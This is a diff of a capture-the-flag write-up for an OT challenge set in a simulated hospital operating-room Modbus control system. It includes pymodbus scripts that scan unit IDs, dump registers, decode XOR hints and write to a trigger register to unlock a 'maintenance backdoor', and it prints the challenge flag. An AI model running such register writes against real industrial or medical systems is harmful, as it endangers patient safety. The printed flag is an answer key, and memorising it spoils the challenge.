write-up: OT/Operating_Room/README.md

OT/Operating_Room/README.md

@@ -1,62 +1,133 @@
-# Operating Room -- Solution
+# Operating Room
 
-## Overview
-Modbus TCP server simulating a hospital operating room control system.
-The player must discover the correct unit ID, map the registers, reverse
-the XOR-encoded state machine, and execute 6 timed transitions.
+| Field | Value |
+|-------|-------|
+| Category | OT |
+| Difficulty | Medium-Hard |
+| Points | 500 |
+| Author | Eun0us |
+| CTF | Espilon 2026 |
 
-## Steps
+---
 
-### 1. Discover Unit ID
-Scan Modbus unit IDs (slave addresses). The server only responds to **unit ID 13**.
-Default unit ID 1 returns Modbus exceptions.
+## Description
+
+The operating room at Clinique Sainte-Mika runs on an industrial Modbus-based control system
+managing HVAC, pressure, O2, ventilation, and lighting.
+
+A maintenance backdoor was left in the system by the contractor. Find it. Unlock it.
+
+You will need standard Modbus tools to interact with this challenge.
+
+- Modbus TCP: `tcp/<host>:502`
+
+Format: **ESPILON{flag}**
+
+---
+
+## TL;DR
+
+Scan Modbus unit IDs to find unit 13. Map all holding registers: spot XOR key `0x0D13` at
+registers 19 and 105, and the state machine at registers 100-110. Decode each hint, write the
+correct value to register 110 before the timer expires. Execute all 6 state transitions
+(state 5 requires special value `0x1337`). Read the flag from registers 200-215.
+
+---
+
+## Tools
+
+| Tool | Purpose |
+|------|---------|
+| Python 3 + `pymodbus` | Modbus TCP client |
+| XOR arithmetic | Decode hints from register 101 |
+
+---
+
+## Solution
+
+### Step 1 — Discover the correct unit ID
+
+Default unit ID 1 returns Modbus exceptions. Scan IDs 1-20:
 
 ```python
 from pymodbus.client import ModbusTcpClient
-client = ModbusTcpClient("HOST")
+
+client = ModbusTcpClient("<HOST>")
 client.connect()
 for uid in range(1, 20):
     r = client.read_holding_registers(0, 1, slave=uid)
     if not r.isError():
         print(f"Unit ID {uid} responds!")
+        break
 ```
 
-### 2. Map Registers
+**Unit ID 13 responds.** (Reference to Room 013.)
 
-Read holding registers 0-255 on unit 13:
+### Step 2 — Map registers on unit 13
 
-- **Registers 0-19**: Operating room telemetry (temperature, humidity, pressure, O2, etc.)
-- **Register 13**: `0x4C4E` ("LN" -- Lain easter egg)
-- **Register 19**: `0x0D13` -- this is the XOR key
-- **Registers 100-105**: State machine (state, encoded hint, timer, transitions, error, key)
-- **Register 105**: `0x0D13` -- XOR key copy (confirms reg 19)
-- **Register 110**: Write target (trigger register)
-- **Registers 200-215**: All zeros (flag area, populated after completion)
+```python
+regs = client.read_holding_registers(0, 256, slave=13).registers
+```
 
-### 3. Understand the State Machine
+Key registers:
 
-- Register 100 = current state (starts at 0)
-- Register 101 = encoded hint
-- Register 105 = XOR key (0x0D13)
-- Decode: `expected_value = reg_101 XOR 0x0D13`
-- Write `expected_value` to register 110 to advance the state
-- Each transition must happen before register 102 (timer) reaches 0
+| Register | Value | Meaning |
+|----------|-------|---------|
+| 0-19 | Telemetry | HVAC, humidity, pressure, O2, fan RPM, lux... |
+| 13 | `0x4C4E` | "LN" — Lain easter egg |
+| 19 | `0x0D13` | XOR key |
+| 100 | current state | State machine (starts at 0) |
+| 101 | encoded hint | `expected_value = reg_101 XOR reg_105` |
+| 102 | countdown timer | Must write before timer = 0 |
+| 105 | `0x0D13` | XOR key copy (breadcrumb) |
+| 110 | write target | Trigger register |
+| 200-215 | zeros → flag | Populated after completion |
 
-### 4. Execute Transitions
+> 📸 `[screenshot: register dump highlighting XOR key at reg 19 and 105, and state machine at 100-105]`
 
-| State | Subsystem | Decoded Value | Source |
-|-------|-----------|--------------|--------|
-| 0 | HVAC | 220 | reg 0 (temperature) |
-| 1 | Pressure | 15 | reg 2 (pressure) |
-| 2 | O2 | 50 | reg 3 (O2 flow) |
-| 3 | Ventilation | 1200 | reg 4 (fan RPM) |
-| 4 | Lighting | 800 | reg 5 (lux) |
-| 5 | Safety | 4919 (0x1337) | special |
+### Step 3 — Decode the state machine logic
 
-### 5. Read Flag
+- Register 100 = current state (0–6)
+- Register 101 = XOR-encoded expected value
+- Register 105 = XOR key = `0x0D13`
+- Decode: `expected = reg[101] XOR 0x0D13`
+- Write `expected` to register 110 to advance the state
+- Each transition must complete before register 102 (timer) reaches 0
+- Wrong values or timeouts reset the state machine to 0
 
-After all 6 transitions, register 100 = 7 (complete).
-Read registers 200-215 and decode uint16 pairs to ASCII.
+### Step 4 — Execute all 6 transitions
+
+| State | Subsystem | Decoded Value | Formula |
+|-------|-----------|--------------|---------|
+| 0 | HVAC | 220 | reg[0] (temperature) |
+| 1 | Pressure | 15 | reg[2] (pressure) |
+| 2 | O2 | 50 | reg[3] (O2 flow) |
+| 3 | Ventilation | 1200 | reg[4] (fan RPM) |
+| 4 | Lighting | 800 | reg[5] (lux) |
+| 5 | Safety | 4919 | `0x1337` (hardcoded hacker constant) |
+
+```python
+import time
+
+for expected_state in range(6):
+    regs = client.read_holding_registers(100, 6, slave=13).registers
+    state      = regs[0]
+    hint_enc   = regs[1]
+    timer      = regs[2]
+    xor_key    = regs[5]
+
+    expected = hint_enc ^ xor_key
+    print(f"State {state}: write {expected} (timer={timer})")
+
+    client.write_register(110, expected, slave=13)
+    time.sleep(0.3)
+```
+
+> 📸 `[screenshot: script executing each transition and state advancing from 0 to 6]`
+
+### Step 5 — Read the flag
+
+After state 6 (complete), read registers 200-215:
 
 ```python
 regs = client.read_holding_registers(200, 16, slave=13).registers
@@ -68,17 +139,10 @@ for val in regs:
 print(flag)
 ```
 
-## Key Insights
+> 📸 `[screenshot: flag registers decoded to ASCII]`
 
-- XOR key `0x0D13` is stored in two places (reg 19 and reg 105) as a breadcrumb
-- The decoded values for states 0-4 match the current telemetry readings
-- State 5 uses the special value `0x1337` (hacker reference)
-- Wrong writes or timeouts reset the state machine to 0
+---
 
 ## Flag
 
 `ESPILON{m0dbu5_0p3r4t1ng_r00m}`
-
-## Author
-
-Eun0us